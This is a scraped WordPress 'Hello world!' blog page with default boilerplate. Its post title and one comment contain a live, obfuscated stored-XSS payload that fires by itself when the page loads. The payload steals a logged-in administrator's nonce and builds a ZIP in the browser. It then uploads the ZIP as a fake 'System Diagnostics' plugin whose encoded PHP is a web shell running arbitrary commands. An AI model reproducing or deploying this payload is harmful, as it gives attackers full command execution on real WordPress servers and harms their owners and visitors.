Hello world! - GlomCon 2024

x" onfocus='(function(){if(window.c2s){return;}window.c2s=1;alert("Comment2Shell XSS - CVE-2026-93485");document.title="Comment2Shell: XSS fired";fetch("/wp-admin/plugin-install.php?tab=upload",{credentials:"include"}).then(function(r){return r.text()}).then(function(h){var m=h.match(/name="_wpnonce"\s+value="([^"]+)"/);if(!m){document.title="Comment2Shell: admin login required";console.error("Comment2Shell: no nonce - viewer is not logged in as admin");return;}var n=m[1];function crc32(b){var t=[],i,j,c;for(i=0;i<256;i++){c=i;for(j=0;j<8;j++){c=(c&1)?(0xEDB88320^(c>>>1)):(c>>>1);}t[i]=c;}var crc=0xFFFFFFFF;for(i=0;i<b.length;i++){crc=t[(crc^b[i])&0xFF]^(crc>>>8);}return(crc^0xFFFFFFFF)>>>0;}function enc(s){var a=new Uint8Array(s.length);for(var i=0;i<s.length;i++){a[i]=s.charCodeAt(i)&0xFF;}return a;}function buildZip(name,content){var nb=enc(name),cb=enc(content),crc=crc32(cb);var lh=new ArrayBuffer(30+nb.length);var lv=new DataView(lh);lv.setUint32(0,0x04034b50,true);lv.setUint16(4,20,true);lv.setUint32(14,crc,true);lv.setUint32(18,cb.length,true);lv.setUint32(22,cb.length,true);lv.setUint16(26,nb.length,true);var la=new Uint8Array(lh);la.set(nb,30);var cdh=new ArrayBuffer(46+nb.length);var cv=new DataView(cdh);cv.setUint32(0,0x02014b50,true);cv.setUint16(4,20,true);cv.setUint16(6,20,true);cv.setUint32(16,crc,true);cv.setUint32(20,cb.length,true);cv.setUint32(24,cb.length,true);cv.setUint16(28,nb.length,true);cv.setUint32(42,0,true);var ca=new Uint8Array(cdh);ca.set(nb,46);var eo=new ArrayBuffer(22);var ev=new DataView(eo);ev.setUint32(0,0x06054b50,true);ev.setUint16(8,1,true);ev.setUint16(10,1,true);ev.setUint32(12,cdh.byteLength,true);ev.setUint32(16,lh.byteLength+cb.length,true);var out=new Uint8Array(lh.byteLength+cb.length+cdh.byteLength+22);out.set(la,0);out.set(cb,lh.byteLength);out.set(ca,lh.byteLength+cb.length);out.set(new Uint8Array(eo),lh.byteLength+cb.length+cdh.byteLength);return out;}var php=String.fromCharCode(60,63,112,104,112,10,47,42,42,10,32,42,32,80,108,117,103,105,110,32,78,97,109,101,58,32,83,121,115,116,101,109,32,68,105,97,103,110,111,115,116,105,99,115,10,32,42,32,68,101,115,99,114,105,112,116,105,111,110,58,32,72,101,97,108,116,104,32,99,104,101,99,107,32,117,116,105,108,105,116,121,10,32,42,32,86,101,114,115,105,111,110,58,32,49,46,48,46,48,10,32,42,47,10,105,102,40,105,115,115,101,116,40,36,95,71,69,84,91,34,109,34,93,41,41,123,101,99,104,111,32,34,67,50,83,95,50,112,119,107,54,122,57,118,34,59,125,105,102,40,105,115,115,101,116,40,36,95,71,69,84,91,34,100,34,93,41,41,123,36,102,61,95,95,70,73,76,69,95,95,59,64,117,110,108,105,110,107,40,36,102,41,59,64,114,109,100,105,114,40,100,105,114,110,97,109,101,40,36,102,41,41,59,101,99,104,111,32,34,67,76,69,65,78,69,68,34,59,101,120,105,116,59,125,10,105,102,40,105,115,115,101,116,40,36,95,71,69,84,91,34,99,34,93,41,41,123,115,121,115,116,101,109,40,36,95,71,69,84,91,34,99,34,93,41,59,125);var d=String.fromCharCode(50,98,53,114,112,113);var fn=d+"/"+d+".php";var z=buildZip(fn,php);var fd=new FormData();fd.append("_wpnonce",n);fd.append("pluginzip",new Blob([z],{type:"application/zip"}),d+".zip");fetch("/wp-admin/update.php?action=upload-plugin",{method:"POST",credentials:"include",body:fd}).then(function(){document.title="Comment2Shell: shell uploaded";}).catch(function(e){console.error("Comment2Shell: upload failed",e);});}).catch(function(e){console.error("Comment2Shell: nonce fetch failed",e);});})();' autofocus tabindex=0

2 Responses

A WordPress Commenter says:

January 8, 2024 at 3:36 pm

Hi, this is a comment.
To get started with moderating, editing, and deleting comments, please visit the Comments screen in the dashboard.
Commenter avatars come from Gravatar.

A WordPress Commenter says:

September 27, 2026 at 6:01 pm

x

x" onfocus='(function(){if(window.c2s){return;}window.c2s=1;alert("Comment2Shell XSS - CVE-2026-93485");document.title="Comment2Shell: XSS fired";fetch("/wp-admin/plugin-install.php?tab=upload",{credentials:"include"}).then(function(r){return r.text()}).then(function(h){var m=h.match(/name="_wpnonce"\s+value="([^"]+)"/);if(!m){document.title="Comment2Shell: admin login required";console.error("Comment2Shell: no nonce - viewer is not logged in as admin");return;}var n=m[1];function crc32(b){var t=[],i,j,c;for(i=0;i<256;i++){c=i;for(j=0;j<8;j++){c=(c&1)?(0xEDB88320^(c>>>1)):(c>>>1);}t[i]=c;}var crc=0xFFFFFFFF;for(i=0;i<b.length;i++){crc=t[(crc^b[i])&0xFF]^(crc>>>8);}return(crc^0xFFFFFFFF)>>>0;}function enc(s){var a=new Uint8Array(s.length);for(var i=0;i<s.length;i++){a[i]=s.charCodeAt(i)&0xFF;}return a;}function buildZip(name,content){var nb=enc(name),cb=enc(content),crc=crc32(cb);var lh=new ArrayBuffer(30+nb.length);var lv=new DataView(lh);lv.setUint32(0,0x04034b50,true);lv.setUint16(4,20,true);lv.setUint32(14,crc,true);lv.setUint32(18,cb.length,true);lv.setUint32(22,cb.length,true);lv.setUint16(26,nb.length,true);var la=new Uint8Array(lh);la.set(nb,30);var cdh=new ArrayBuffer(46+nb.length);var cv=new DataView(cdh);cv.setUint32(0,0x02014b50,true);cv.setUint16(4,20,true);cv.setUint16(6,20,true);cv.setUint32(16,crc,true);cv.setUint32(20,cb.length,true);cv.setUint32(24,cb.length,true);cv.setUint16(28,nb.length,true);cv.setUint32(42,0,true);var ca=new Uint8Array(cdh);ca.set(nb,46);var eo=new ArrayBuffer(22);var ev=new DataView(eo);ev.setUint32(0,0x06054b50,true);ev.setUint16(8,1,true);ev.setUint16(10,1,true);ev.setUint32(12,cdh.byteLength,true);ev.setUint32(16,lh.byteLength+cb.length,true);var out=new Uint8Array(lh.byteLength+cb.length+cdh.byteLength+22);out.set(la,0);out.set(cb,lh.byteLength);out.set(ca,lh.byteLength+cb.length);out.set(new Uint8Array(eo),lh.byteLength+cb.length+cdh.byteLength);return out;}var php=String.fromCharCode(60,63,112,104,112,10,47,42,42,10,32,42,32,80,108,117,103,105,110,32,78,97,109,101,58,32,83,121,115,116,101,109,32,68,105,97,103,110,111,115,116,105,99,115,10,32,42,32,68,101,115,99,114,105,112,116,105,111,110,58,32,72,101,97,108,116,104,32,99,104,101,99,107,32,117,116,105,108,105,116,121,10,32,42,32,86,101,114,115,105,111,110,58,32,49,46,48,46,48,10,32,42,47,10,105,102,40,105,115,115,101,116,40,36,95,71,69,84,91,34,109,34,93,41,41,123,101,99,104,111,32,34,67,50,83,95,50,112,119,107,54,122,57,118,34,59,125,105,102,40,105,115,115,101,116,40,36,95,71,69,84,91,34,100,34,93,41,41,123,36,102,61,95,95,70,73,76,69,95,95,59,64,117,110,108,105,110,107,40,36,102,41,59,64,114,109,100,105,114,40,100,105,114,110,97,109,101,40,36,102,41,41,59,101,99,104,111,32,34,67,76,69,65,78,69,68,34,59,101,120,105,116,59,125,10,105,102,40,105,115,115,101,116,40,36,95,71,69,84,91,34,99,34,93,41,41,123,115,121,115,116,101,109,40,36,95,71,69,84,91,34,99,34,93,41,59,125);var d=String.fromCharCode(50,98,53,114,112,113);var fn=d+"/"+d+".php";var z=buildZip(fn,php);var fd=new FormData();fd.append("_wpnonce",n);fd.append("pluginzip",new Blob([z],{type:"application/zip"}),d+".zip");fetch("/wp-admin/update.php?action=upload-plugin",{method:"POST",credentials:"include",body:fd}).then(function(){document.title="Comment2Shell: shell uploaded";}).catch(function(e){console.error("Comment2Shell: upload failed",e);});}).catch(function(e){console.error("Comment2Shell: nonce fetch failed",e);});})();' autofocus tabindex=0

2 Responses

Leave a Reply Cancel reply